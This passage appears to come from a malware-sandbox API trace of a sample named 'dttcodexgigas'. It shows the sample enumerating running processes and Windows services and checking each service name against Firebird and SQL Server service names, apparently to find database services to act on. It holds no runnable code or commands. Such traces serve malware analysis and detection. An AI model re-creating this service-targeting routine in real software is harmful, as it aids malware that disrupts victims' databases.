(lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.649] lstrlenW (lpString="SecurityHealthService") returned 21 [0157.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0157.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0157.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0157.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0157.649] lstrlenW (lpString="SENS") returned 4 [0157.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.649] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.649] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.649] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.649] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.649] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.649] lstrlenW (lpString="Spooler") returned 7 [0157.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0157.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0157.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0157.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0157.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0157.650] lstrlenW (lpString="StateRepository") returned 15 [0157.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0157.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0157.810] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0157.810] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0157.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0157.810] lstrlenW (lpString="SysMain") returned 7 [0157.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.810] lstrlenW (lpString="SystemEventsBroker") returned 18 [0157.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0157.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0157.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0157.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0157.810] lstrlenW (lpString="Themes") returned 6 [0157.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0157.811] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0157.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0157.811] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0157.811] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0157.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0157.811] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0157.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0157.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0157.811] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0157.811] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0157.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe3360 | out: hHeap=0x420000) returned 1 [0157.811] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0157.817] Process32FirstW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.818] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0157.818] lstrlenW (lpString="System") returned 6 [0157.818] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0157.819] lstrlenW (lpString="smss.exe") returned 8 [0157.819] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.819] lstrlenW (lpString="csrss.exe") returned 9 [0157.819] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0157.819] lstrlenW (lpString="wininit.exe") returned 11 [0157.819] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.820] lstrlenW (lpString="csrss.exe") returned 9 [0157.820] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0157.820] lstrlenW (lpString="winlogon.exe") returned 12 [0157.820] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0157.821] lstrlenW (lpString="services.exe") returned 12 [0157.821] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0157.821] lstrlenW (lpString="lsass.exe") returned 9 [0157.821] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.822] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.822] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0157.822] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0157.822] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.823] lstrlenW (lpString="svchost.exe") returned 11 [0157.823] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.823] lstrlenW (lpString="svchost.exe") returned 11 [0157.823] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0157.823] lstrlenW (lpString="dwm.exe") returned 7 [0157.824] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.824] lstrlenW (lpString="svchost.exe") returned 11 [0157.824] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.824] lstrlenW (lpString="svchost.exe") returned 11 [0157.824] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.825] lstrlenW (lpString="svchost.exe") returned 11 [0157.825] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.826] lstrlenW (lpString="svchost.exe") returned 11 [0157.826] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.826] lstrlenW (lpString="svchost.exe") returned 11 [0157.826] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.826] lstrlenW (lpString="svchost.exe") returned 11 [0157.826] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.827] lstrlenW (lpString="svchost.exe") returned 11 [0157.827] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.827] lstrlenW (lpString="svchost.exe") returned 11 [0157.827] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.828] lstrlenW (lpString="svchost.exe") returned 11 [0157.828] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.828] lstrlenW (lpString="svchost.exe") returned 11 [0157.828] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0157.829] lstrlenW (lpString="spoolsv.exe") returned 11 [0157.829] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.829] lstrlenW (lpString="svchost.exe") returned 11 [0157.829] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0157.829] lstrlenW (lpString="audiodg.exe") returned 11 [0157.829] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0157.830] lstrlenW (lpString="sihost.exe") returned 10 [0157.830] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.830] lstrlenW (lpString="svchost.exe") returned 11 [0157.830] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0157.831] lstrlenW (lpString="taskhostw.exe") returned 13 [0157.831] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0157.831] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0157.831] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0157.832] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0157.832] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0157.832] lstrlenW (lpString="Memory Compression") returned 18 [0157.832] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0157.832] lstrlenW (lpString="explorer.exe") returned 12 [0157.832] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0157.833] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0157.833] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0157.833] lstrlenW (lpString="SearchUI.exe") returned 12 [0157.833] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0157.834] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0157.834] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0157.834] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0157.834] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0157.835] lstrlenW (lpString="mobsync.exe") returned 11 [0157.835] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0157.835] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0157.835] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0157.835] lstrlenW (lpString="cmd.exe") returned 7 [0157.835] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0157.836] lstrlenW (lpString="conhost.exe") returned 11 [0157.836] Process32NextW (in: hSnapshot=0x384, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0157.836] CloseHandle (hObject=0x384) returned 1 [0157.836] Sleep (dwMilliseconds=0x1f4) [0158.718] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3916028 [0158.718] EnumServicesStatusExW (in: hSCManager=0x3916028, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0158.719] GetLastError () returned 0xea [0158.719] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1b58) returned 0x391a958 [0158.719] EnumServicesStatusExW (in: hSCManager=0x3916028, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x391a958, cbBufSize=0x1b58, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x391a958, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0158.720] CloseServiceHandle (hSCObject=0x3916028) returned 1 [0158.720] lstrlenW (lpString="AppXSvc") returned 7 [0158.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0158.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0158.720] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0158.720] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0158.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0158.720] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.720] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.720] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.720] lstrlenW (lpString="Audiosrv") returned 8 [0158.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0158.720] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0158.720] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0158.720] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0158.720] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0158.720] lstrlenW (lpString="BFE") returned 3 [0158.720] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.721] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.721] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.721] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0158.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0158.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0158.721] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0158.721] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0158.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0158.721] lstrlenW (lpString="CDPSvc") returned 6 [0158.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0158.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0158.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0158.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0158.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0158.721] lstrlenW (lpString="ClickToRunSvc") returned 13 [0158.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0158.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0158.721] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0158.721] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0158.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0158.721] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0158.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0158.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0158.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0158.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0158.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0158.721] lstrlenW (lpString="CryptSvc") returned 8 [0158.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0158.721] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0158.721] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0158.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 